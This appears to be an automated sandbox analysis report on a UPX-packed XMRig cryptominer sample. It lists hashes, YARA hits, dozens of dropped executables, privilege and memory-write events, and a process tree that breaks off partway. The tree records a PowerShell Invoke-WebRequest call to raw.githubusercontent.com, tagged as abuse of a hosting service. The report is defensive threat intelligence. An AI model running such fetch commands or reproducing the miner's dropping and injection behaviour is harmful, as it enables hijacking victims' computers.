xmrig | 5d837310957abfe1eb723bda4868e344bcdfe9dd74150ba08de32964844a646e

Analysis

max time kernel
113s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
02/05/2024, 02:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
Size

1.9MB
MD5

0d3ae543154367e16ed25d430ed4d70f
SHA1

d4ed4edb92c09ee26cb946d61c12b89f1bf681b3
SHA256

5d837310957abfe1eb723bda4868e344bcdfe9dd74150ba08de32964844a646e
SHA512

56d83bb5fd149af269d8c45f9858941a863db44961990adea950ef26b9b5a2e5190d31264f02a3b03d1f8d7085ebb70458b6cace4216c54fdcc0865d82bba450
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+U1k4t:NAB6

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral2/memory/1896-80-0x00007FF706C60000-0x00007FF707052000-memory.dmp	xmrig
behavioral2/memory/3172-89-0x00007FF66B180000-0x00007FF66B572000-memory.dmp	xmrig
behavioral2/memory/3948-93-0x00007FF75D3C0000-0x00007FF75D7B2000-memory.dmp	xmrig
behavioral2/memory/3084-92-0x00007FF6F9460000-0x00007FF6F9852000-memory.dmp	xmrig
behavioral2/memory/3520-91-0x00007FF7152E0000-0x00007FF7156D2000-memory.dmp	xmrig
behavioral2/memory/2276-90-0x00007FF76A8D0000-0x00007FF76ACC2000-memory.dmp	xmrig
behavioral2/memory/4664-88-0x00007FF63BC70000-0x00007FF63C062000-memory.dmp	xmrig
behavioral2/memory/1240-87-0x00007FF7BE160000-0x00007FF7BE552000-memory.dmp	xmrig
behavioral2/memory/1264-84-0x00007FF777870000-0x00007FF777C62000-memory.dmp	xmrig
behavioral2/memory/2368-81-0x00007FF62B6A0000-0x00007FF62BA92000-memory.dmp	xmrig
behavioral2/memory/5016-74-0x00007FF7983D0000-0x00007FF7987C2000-memory.dmp	xmrig
behavioral2/memory/2680-70-0x00007FF724E40000-0x00007FF725232000-memory.dmp	xmrig
behavioral2/memory/4392-69-0x00007FF689BF0000-0x00007FF689FE2000-memory.dmp	xmrig
behavioral2/memory/4840-115-0x00007FF7DF2B0000-0x00007FF7DF6A2000-memory.dmp	xmrig
behavioral2/memory/1700-184-0x00007FF72AF20000-0x00007FF72B312000-memory.dmp	xmrig
behavioral2/memory/1716-188-0x00007FF73E1E0000-0x00007FF73E5D2000-memory.dmp	xmrig
behavioral2/memory/4416-183-0x00007FF617C40000-0x00007FF618032000-memory.dmp	xmrig
behavioral2/memory/2356-143-0x00007FF6C1AC0000-0x00007FF6C1EB2000-memory.dmp	xmrig
behavioral2/memory/1884-1340-0x00007FF78C2A0000-0x00007FF78C692000-memory.dmp	xmrig
behavioral2/memory/2592-2385-0x00007FF653870000-0x00007FF653C62000-memory.dmp	xmrig
behavioral2/memory/528-2390-0x00007FF7A9D40000-0x00007FF7AA132000-memory.dmp	xmrig
behavioral2/memory/2584-2389-0x00007FF6B6990000-0x00007FF6B6D82000-memory.dmp	xmrig
behavioral2/memory/3196-128-0x00007FF720300000-0x00007FF7206F2000-memory.dmp	xmrig
behavioral2/memory/1904-109-0x00007FF698BF0000-0x00007FF698FE2000-memory.dmp	xmrig
behavioral2/memory/1900-104-0x00007FF6B1110000-0x00007FF6B1502000-memory.dmp	xmrig
behavioral2/memory/3172-2416-0x00007FF66B180000-0x00007FF66B572000-memory.dmp	xmrig
behavioral2/memory/4392-2418-0x00007FF689BF0000-0x00007FF689FE2000-memory.dmp	xmrig
behavioral2/memory/2680-2424-0x00007FF724E40000-0x00007FF725232000-memory.dmp	xmrig
behavioral2/memory/1240-2426-0x00007FF7BE160000-0x00007FF7BE552000-memory.dmp	xmrig
behavioral2/memory/1896-2430-0x00007FF706C60000-0x00007FF707052000-memory.dmp	xmrig
behavioral2/memory/1264-2428-0x00007FF777870000-0x00007FF777C62000-memory.dmp	xmrig
behavioral2/memory/4664-2432-0x00007FF63BC70000-0x00007FF63C062000-memory.dmp	xmrig
behavioral2/memory/2368-2422-0x00007FF62B6A0000-0x00007FF62BA92000-memory.dmp	xmrig
behavioral2/memory/5016-2420-0x00007FF7983D0000-0x00007FF7987C2000-memory.dmp	xmrig
behavioral2/memory/3520-2436-0x00007FF7152E0000-0x00007FF7156D2000-memory.dmp	xmrig
behavioral2/memory/3084-2438-0x00007FF6F9460000-0x00007FF6F9852000-memory.dmp	xmrig
behavioral2/memory/3948-2440-0x00007FF75D3C0000-0x00007FF75D7B2000-memory.dmp	xmrig
behavioral2/memory/2276-2435-0x00007FF76A8D0000-0x00007FF76ACC2000-memory.dmp	xmrig
behavioral2/memory/1900-2456-0x00007FF6B1110000-0x00007FF6B1502000-memory.dmp	xmrig
behavioral2/memory/1904-2458-0x00007FF698BF0000-0x00007FF698FE2000-memory.dmp	xmrig
behavioral2/memory/4840-2460-0x00007FF7DF2B0000-0x00007FF7DF6A2000-memory.dmp	xmrig
behavioral2/memory/3196-2462-0x00007FF720300000-0x00007FF7206F2000-memory.dmp	xmrig
behavioral2/memory/2356-2464-0x00007FF6C1AC0000-0x00007FF6C1EB2000-memory.dmp	xmrig
behavioral2/memory/2584-2466-0x00007FF6B6990000-0x00007FF6B6D82000-memory.dmp	xmrig
behavioral2/memory/2592-2468-0x00007FF653870000-0x00007FF653C62000-memory.dmp	xmrig
behavioral2/memory/4416-2470-0x00007FF617C40000-0x00007FF618032000-memory.dmp	xmrig
behavioral2/memory/1716-2474-0x00007FF73E1E0000-0x00007FF73E5D2000-memory.dmp	xmrig
behavioral2/memory/1700-2476-0x00007FF72AF20000-0x00007FF72B312000-memory.dmp	xmrig
behavioral2/memory/528-2472-0x00007FF7A9D40000-0x00007FF7AA132000-memory.dmp	xmrig

Blocklisted process makes network request 9 IoCs

flow	pid	Process
3	3288	powershell.exe
5	3288	powershell.exe
9	3288	powershell.exe
10	3288	powershell.exe
13	3288	powershell.exe
14	3288	powershell.exe
16	3288	powershell.exe
19	3288	powershell.exe
20	3288	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3172	OwIiGMR.exe
4392	llzTUuc.exe
2680	zWqaWYo.exe
5016	mvmVvwf.exe
1896	hqwXfOm.exe
2368	oimgKSr.exe
1264	wtcQeVG.exe
1240	pIsokre.exe
4664	WPyweYY.exe
2276	ydurqmY.exe
3520	EhYzaRm.exe
3084	exZTWyX.exe
3948	SnxjKIN.exe
1900	VsZomHX.exe
1904	WcnJDPU.exe
4840	ddTHJpu.exe
3196	SjbrZga.exe
2356	MxBxiVx.exe
2584	rjAnhcN.exe
2592	wKWbypq.exe
528	yFWLoxB.exe
4416	fANebZv.exe
1716	abjBCJP.exe
1700	nQZBKHD.exe
4596	wpjBdsZ.exe
2684	vyETFrH.exe
4864	fHloKZg.exe
4056	Psamcxt.exe
912	xQVDGfI.exe
4612	njUfKbS.exe
3808	ZiqwHXd.exe
4876	yezoEEI.exe
2284	jNHcRks.exe
2824	OheSvsg.exe
4052	XrqtEIq.exe
4200	ETmWIRT.exe
5100	bDtraZb.exe
4340	AEJPzjc.exe
4348	rTXZlAq.exe
3568	xXQOZSk.exe
2928	xgyFVtT.exe
680	zfZrihZ.exe
2316	cHqelcz.exe
1336	LVLKbVY.exe
4860	eFspeQt.exe
2424	NCTcemW.exe
3324	VQQfByd.exe
4032	iEiIvPr.exe
408	fjpafWH.exe
2880	nIzxMtj.exe
3192	TIQHzgR.exe
2784	WrAZnaO.exe
4356	doPufqo.exe
1760	FyNXrSz.exe
2932	SNgSbIg.exe
464	yarYuoi.exe
1944	qOUhUWh.exe
3776	BclFcLQ.exe
4580	nUmmcID.exe
5112	zUJChVd.exe
1068	QMSFqRE.exe
1704	EaszzeW.exe
3844	XOnEBVN.exe
636	FXVfXvE.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1884-0-0x00007FF78C2A0000-0x00007FF78C692000-memory.dmp	upx
behavioral2/files/0x0007000000023471-16.dat	upx
behavioral2/files/0x0007000000023473-22.dat	upx
behavioral2/files/0x0007000000023476-33.dat	upx
behavioral2/files/0x0007000000023478-54.dat	upx
behavioral2/files/0x0007000000023479-66.dat	upx
behavioral2/files/0x000700000002347c-71.dat	upx
behavioral2/memory/1896-80-0x00007FF706C60000-0x00007FF707052000-memory.dmp	upx
behavioral2/files/0x000800000002347b-85.dat	upx
behavioral2/memory/3172-89-0x00007FF66B180000-0x00007FF66B572000-memory.dmp	upx
behavioral2/memory/3948-93-0x00007FF75D3C0000-0x00007FF75D7B2000-memory.dmp	upx
behavioral2/memory/3084-92-0x00007FF6F9460000-0x00007FF6F9852000-memory.dmp	upx
behavioral2/memory/3520-91-0x00007FF7152E0000-0x00007FF7156D2000-memory.dmp	upx
behavioral2/memory/2276-90-0x00007FF76A8D0000-0x00007FF76ACC2000-memory.dmp	upx
behavioral2/memory/4664-88-0x00007FF63BC70000-0x00007FF63C062000-memory.dmp	upx
behavioral2/memory/1240-87-0x00007FF7BE160000-0x00007FF7BE552000-memory.dmp	upx
behavioral2/memory/1264-84-0x00007FF777870000-0x00007FF777C62000-memory.dmp	upx
behavioral2/memory/2368-81-0x00007FF62B6A0000-0x00007FF62BA92000-memory.dmp	upx
behavioral2/memory/5016-74-0x00007FF7983D0000-0x00007FF7987C2000-memory.dmp	upx
behavioral2/memory/2680-70-0x00007FF724E40000-0x00007FF725232000-memory.dmp	upx
behavioral2/memory/4392-69-0x00007FF689BF0000-0x00007FF689FE2000-memory.dmp	upx
behavioral2/files/0x0007000000023477-58.dat	upx
behavioral2/files/0x0007000000023475-44.dat	upx
behavioral2/files/0x000800000002346e-101.dat	upx
behavioral2/memory/4840-115-0x00007FF7DF2B0000-0x00007FF7DF6A2000-memory.dmp	upx
behavioral2/files/0x0007000000023480-122.dat	upx
behavioral2/files/0x0007000000023480-132.dat	upx
behavioral2/memory/2592-138-0x00007FF653870000-0x00007FF653C62000-memory.dmp	upx
behavioral2/files/0x0007000000023483-146.dat	upx
behavioral2/files/0x0007000000023484-154.dat	upx
behavioral2/files/0x0007000000023486-165.dat	upx
behavioral2/files/0x0007000000023488-173.dat	upx
behavioral2/files/0x000700000002348a-178.dat	upx
behavioral2/memory/1700-184-0x00007FF72AF20000-0x00007FF72B312000-memory.dmp	upx
behavioral2/files/0x000700000002348c-190.dat	upx
behavioral2/files/0x000700000002348c-189.dat	upx
behavioral2/files/0x000700000002348b-193.dat	upx
behavioral2/memory/1716-188-0x00007FF73E1E0000-0x00007FF73E5D2000-memory.dmp	upx
behavioral2/memory/4416-183-0x00007FF617C40000-0x00007FF618032000-memory.dmp	upx
behavioral2/files/0x0007000000023489-172.dat	upx
behavioral2/files/0x0007000000023487-163.dat	upx
behavioral2/files/0x0007000000023485-161.dat	upx
behavioral2/memory/528-155-0x00007FF7A9D40000-0x00007FF7AA132000-memory.dmp	upx
behavioral2/memory/2356-143-0x00007FF6C1AC0000-0x00007FF6C1EB2000-memory.dmp	upx
behavioral2/memory/1884-1340-0x00007FF78C2A0000-0x00007FF78C692000-memory.dmp	upx
behavioral2/memory/2592-2385-0x00007FF653870000-0x00007FF653C62000-memory.dmp	upx
behavioral2/memory/528-2390-0x00007FF7A9D40000-0x00007FF7AA132000-memory.dmp	upx
behavioral2/memory/2584-2389-0x00007FF6B6990000-0x00007FF6B6D82000-memory.dmp	upx
behavioral2/files/0x000700000002348d-199.dat	upx
behavioral2/files/0x0007000000023482-139.dat	upx
behavioral2/files/0x0007000000023481-136.dat	upx
behavioral2/memory/2584-133-0x00007FF6B6990000-0x00007FF6B6D82000-memory.dmp	upx
behavioral2/memory/3196-128-0x00007FF720300000-0x00007FF7206F2000-memory.dmp	upx
behavioral2/files/0x000700000002347f-126.dat	upx
behavioral2/files/0x000700000002347e-114.dat	upx
behavioral2/memory/1904-109-0x00007FF698BF0000-0x00007FF698FE2000-memory.dmp	upx
behavioral2/files/0x000800000002347a-108.dat	upx
behavioral2/memory/1900-104-0x00007FF6B1110000-0x00007FF6B1502000-memory.dmp	upx
behavioral2/files/0x000700000002347d-97.dat	upx
behavioral2/files/0x0007000000023474-35.dat	upx
behavioral2/files/0x0007000000023472-30.dat	upx
behavioral2/files/0x000800000002346d-23.dat	upx
behavioral2/files/0x0006000000023305-12.dat	upx
behavioral2/memory/3172-2416-0x00007FF66B180000-0x00007FF66B572000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ZiqwHXd.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\bqVvmky.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\UsxBQNB.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\LnhJBHU.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\ZEVvlhO.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\pOWEhwL.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\xcyzmnY.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\TKBVjnQ.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\WcnJDPU.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\KRgxxWe.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\XdoMlDQ.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\yCiDRmF.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\oHlxlOB.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\hbsrmhT.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\UsCaxVH.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\BjHtHzn.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\ILmBYZu.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\ybwgOGH.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\LpslCBA.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\aNaocbQ.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\gmhEgYw.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\YhJeYQe.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\LFehVaY.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\EaszzeW.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\Puizhsf.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\PYTnESO.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\gMsrvYE.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\qxYQumz.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\GHmVgak.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\cPEbzga.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\rTXZlAq.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\LsOyrst.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\XPUBAos.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\kWnYXQz.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\LkhRqKQ.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\QnxTyqI.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\vQcpsoY.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\ZIyFplK.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\eFspeQt.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\udsahkP.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\nDsRwIz.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\UirWoGj.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\QymdwGo.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\UAVuUUf.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\KmGEoXz.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\BclFcLQ.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\vTSCvQT.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\NIWtIXF.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\tLMGRtJ.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\igxdUat.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\HPlSHwL.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\jNHcRks.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\gfGVZIH.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\UUgbMDv.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\AIlRcUD.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\ZCXpWWt.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\MGKLCmp.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\GtBDjRo.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\dilRcxY.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\qtdzXKD.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\DhxSNAW.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\iNofzWn.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\EWiYvTx.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
File created	C:\Windows\System\idSsUrf.exe	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3288	powershell.exe
3288	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeLockMemoryPrivilege	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 3288	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	86
PID 1884 wrote to memory of 3288	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	86
PID 1884 wrote to memory of 3172	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	87
PID 1884 wrote to memory of 3172	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	87
PID 1884 wrote to memory of 4392	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	88
PID 1884 wrote to memory of 4392	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	88
PID 1884 wrote to memory of 2680	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	89
PID 1884 wrote to memory of 2680	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	89
PID 1884 wrote to memory of 5016	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	90
PID 1884 wrote to memory of 5016	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	90
PID 1884 wrote to memory of 1896	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	91
PID 1884 wrote to memory of 1896	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	91
PID 1884 wrote to memory of 2368	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	92
PID 1884 wrote to memory of 2368	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	92
PID 1884 wrote to memory of 1264	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	93
PID 1884 wrote to memory of 1264	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	93
PID 1884 wrote to memory of 1240	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	94
PID 1884 wrote to memory of 1240	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	94
PID 1884 wrote to memory of 4664	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	95
PID 1884 wrote to memory of 4664	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	95
PID 1884 wrote to memory of 2276	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	96
PID 1884 wrote to memory of 2276	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	96
PID 1884 wrote to memory of 3520	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	97
PID 1884 wrote to memory of 3520	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	97
PID 1884 wrote to memory of 3084	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	98
PID 1884 wrote to memory of 3084	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	98
PID 1884 wrote to memory of 3948	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	99
PID 1884 wrote to memory of 3948	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	99
PID 1884 wrote to memory of 1900	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	100
PID 1884 wrote to memory of 1900	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	100
PID 1884 wrote to memory of 1904	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	101
PID 1884 wrote to memory of 1904	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	101
PID 1884 wrote to memory of 4840	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	102
PID 1884 wrote to memory of 4840	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	102
PID 1884 wrote to memory of 3196	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	103
PID 1884 wrote to memory of 3196	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	103
PID 1884 wrote to memory of 2356	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	104
PID 1884 wrote to memory of 2356	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	104
PID 1884 wrote to memory of 2584	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	105
PID 1884 wrote to memory of 2584	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	105
PID 1884 wrote to memory of 2592	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	106
PID 1884 wrote to memory of 2592	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	106
PID 1884 wrote to memory of 528	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	107
PID 1884 wrote to memory of 528	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	107
PID 1884 wrote to memory of 4416	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	108
PID 1884 wrote to memory of 4416	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	108
PID 1884 wrote to memory of 1716	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	109
PID 1884 wrote to memory of 1716	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	109
PID 1884 wrote to memory of 1700	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	110
PID 1884 wrote to memory of 1700	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	110
PID 1884 wrote to memory of 2684	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	111
PID 1884 wrote to memory of 2684	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	111
PID 1884 wrote to memory of 4596	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	686
PID 1884 wrote to memory of 4596	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	686
PID 1884 wrote to memory of 4864	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	113
PID 1884 wrote to memory of 4864	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	113
PID 1884 wrote to memory of 4056	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	114
PID 1884 wrote to memory of 4056	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	114
PID 1884 wrote to memory of 912	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	115
PID 1884 wrote to memory of 912	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	115
PID 1884 wrote to memory of 4612	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	116
PID 1884 wrote to memory of 4612	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	116
PID 1884 wrote to memory of 3808	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	117
PID 1884 wrote to memory of 3808	1884	0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe	117

C:\Users\Admin\AppData\Local\Temp\0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0d3ae543154367e16ed25d430ed4d70f_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3288
- C:\Windows\System\OwIiGMR.exe
  C:\Windows\System\OwIiGMR.exe
  2⤵
  - Executes dropped EXE
  PID:3172
- C:\Windows\System\llzTUuc.exe
  C:\Windows\System\llzTUuc.exe
  2⤵
  - Executes dropped EXE
  PID:4392
- C:\Windows\System\zWqaWYo.exe
  C:\Windows\System\zWqaWYo.exe
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Windows\System\mvmVvwf.exe
  C:\Windows\System\mvmVvwf.exe
  2⤵
  - Executes dropped EXE
  PID:5016
- C:\Windows\System\hqwXfOm.exe
  C:\Windows\System\hqwXfOm.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\oimgKSr.exe
  C:\Windows\System\oimgKSr.exe
  2⤵
  - Executes dropped EXE
  PID:2368
- C:\Windows\System\wtcQeVG.exe
  C:\Windows\System\wtcQeVG.exe
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Windows\System\pIsokre.exe
  C:\Windows\System\pIsokre.exe
  2⤵
  - Executes dropped EXE
  PID:1240
- C:\Windows\System\WPyweYY.exe
  C:\Windows\System\WPyweYY.exe
  2⤵
  - Executes dropped EXE
  PID:4664
- C:\Windows\System\ydurqmY.exe
  C:\Windows\System\ydurqmY.exe
  2⤵
  - Executes dropped EXE
  PID:2276
- C:\Windows\System\EhYzaRm.exe
  C:\Windows\System\EhYzaRm.exe
  2⤵
